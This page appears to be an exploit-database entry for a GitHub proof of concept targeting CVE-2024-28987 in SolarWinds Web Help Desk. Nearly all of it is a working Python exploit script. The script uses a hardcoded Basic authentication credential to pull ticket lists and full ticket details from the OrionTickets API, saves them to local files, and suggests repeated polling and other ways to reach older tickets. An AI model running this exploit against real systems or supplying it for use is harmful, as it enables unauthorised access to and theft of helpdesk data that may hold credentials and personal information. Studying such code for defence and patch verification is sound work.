Exploit database

GH-cadf0e751b42480c0032bbe3e4300ace

alecclyde/cve-2024-28987

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-28987

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
alecclyde/cve-2024-28987Revision 813487c1f2c4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve-2024-28987.py

Python · 5,573 bytes
#!/usr/bin/python3
import argparse
import requests
import urllib3
import json
import time
import os

urllib3.disable_warnings()

# Base credentials from the original exploit
AUTH_HEADER = {'Authorization': 'Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0RjgwMjVFNw=='}

def get_ticket_list(url):
    """Get the list of recent tickets (API limited to 25)"""
    print(f'[*] Retrieving ticket list (API limited to 25 most recent tickets)...')
    
    r = requests.get(
        f'{url}/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets',
        headers=AUTH_HEADER,
        verify=False,
        timeout=30
    )
    
    if r.status_code != 200:
        print(f'[-] Failed to retrieve tickets (Status: {r.status_code})')
        return None
        
    tickets = r.json()
    print(f'[+] Retrieved {len(tickets)} tickets')
    return tickets

def get_ticket_details(url, ticket_id):
    """Get complete details for a specific ticket"""
    r = requests.get(
        f'{url}/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/{ticket_id}',
        headers=AUTH_HEADER,
        verify=False,
        timeout=30
    )
    
    if r.status_code != 200:
        print(f'[-] Failed to retrieve ticket {ticket_id} (Status: {r.status_code})')
        return None
        
    return r.json()

def save_to_file(data, filename):
    """Save data to a JSON file"""
    with open(filename, 'w') as f:
        json.dump(data, f, indent=2)
    print(f'[+] Data saved to {filename}')

def analyze_ticket_ids(tickets):
    """Analyze ticket IDs to estimate total tickets in system"""
    if not tickets:
        return
    
    # Extract IDs
    ids = [ticket['id'] for ticket in tickets if 'id' in ticket]
    if not ids:
        return
    
    # Calculate stats
    ids.sort()
    min_id = min(ids)
    max_id = max(ids)
    range_size = max_id - min_id + 1
    missing_count = range_size - len(ids)
    
    print("\n[*] Ticket ID Analysis:")
    print(f"    - ID Range: {min_id} to {max_id}")
    print(f"    - Total tickets in range: {range_size}")
    print(f"    - Retrieved tickets: {len(ids)}")
    print(f"    - Missing tickets in range: {missing_count}")
    print(f"    - Estimated total tickets in system: ~{max_id}")
    
    return max_id  # Return estimate of total tickets

def main():
    parser = argparse.ArgumentParser(description="SolarWinds Helpdesk API Exploit")
    parser.add_argument("-u", "--url", help="Target URL", required=True)
    parser.add_argument("-o", "--output-dir", help="Output directory for JSON files", default="ticket_data")
    parser.add_argument("-d", "--delay", help="Delay between requests in seconds", type=float, default=0.5)
    
    args = parser.parse_args()
    
    # Create output directory
    if not os.path.exists(args.output_dir):
        os.makedirs(args.output_dir)
        print(f'[+] Created directory: {args.output_dir}')
    
    # Directory for detailed tickets
    detailed_dir = os.path.join(args.output_dir, "detailed")
    if not os.path.exists(detailed_dir):
        os.makedirs(detailed_dir)
        print(f'[+] Created directory: {detailed_dir}')
    
    # Get the list of tickets
    tickets = get_ticket_list(args.url)
    if not tickets:
        print("[-] Failed to retrieve any tickets. Exiting.")
        return
    
    # Save the ticket summaries
    summary_file = os.path.join(args.output_dir, "ticket_summary.json")
    save_to_file(tickets, summary_file)
    
    # Analyze ticket IDs
    total_estimate = analyze_ticket_ids(tickets)
    
    # Extract ticket IDs
    ticket_ids = [ticket['id'] for ticket in tickets if 'id' in ticket]
    print(f"[+] Found {len(ticket_ids)} ticket IDs to process")
    
    # Get detailed tickets
    print(f"[*] Retrieving full details for {len(ticket_ids)} tickets...")
    detailed_tickets = []
    
    for i, ticket_id in enumerate(ticket_ids):
        # Add a delay between requests
        if i > 0 and args.delay > 0:
            time.sleep(args.delay)
        
        print(f"[*] Retrieving full details for ticket {ticket_id} ({i+1}/{len(ticket_ids)})...")
        ticket_data = get_ticket_details(args.url, ticket_id)
        
        if ticket_data:
            # Save individual ticket to its own file
            ticket_file = os.path.join(detailed_dir, f"ticket_{ticket_id}.json")
            save_to_file(ticket_data, ticket_file)
            
            # Add to our collection of detailed tickets
            detailed_tickets.append(ticket_data)
            print(f"[+] Processed ticket {i+1}/{len(ticket_ids)}: ID {ticket_id}")
        else:
            print(f"[-] Failed to retrieve details for ticket {ticket_id}")
    
    # Save all detailed tickets to a single file
    if detailed_tickets:
        all_details_file = os.path.join(detailed_dir, "all_tickets_detailed.json")
        save_to_file(detailed_tickets, all_details_file)
        print(f"[+] Saved {len(detailed_tickets)} detailed tickets to {all_details_file}")
    
    print("\n[*] SUMMARY:")
    print(f"    - Retrieved {len(tickets)} ticket summaries")
    print(f"    - Retrieved full details for {len(detailed_tickets)} tickets")
    print(f"    - Estimated total tickets in system: ~{total_estimate}")
    print(f"    - All data saved to {os.path.abspath(args.output_dir)}")
    print("\n[!] NOTE: The API is limited to returning 25 tickets per request")
    print("    - To monitor for new tickets, run this script periodically")
    print("    - TODO: To access older tickets, you may be able to call their IDs through other means")

if __name__ == "__main__":
    main()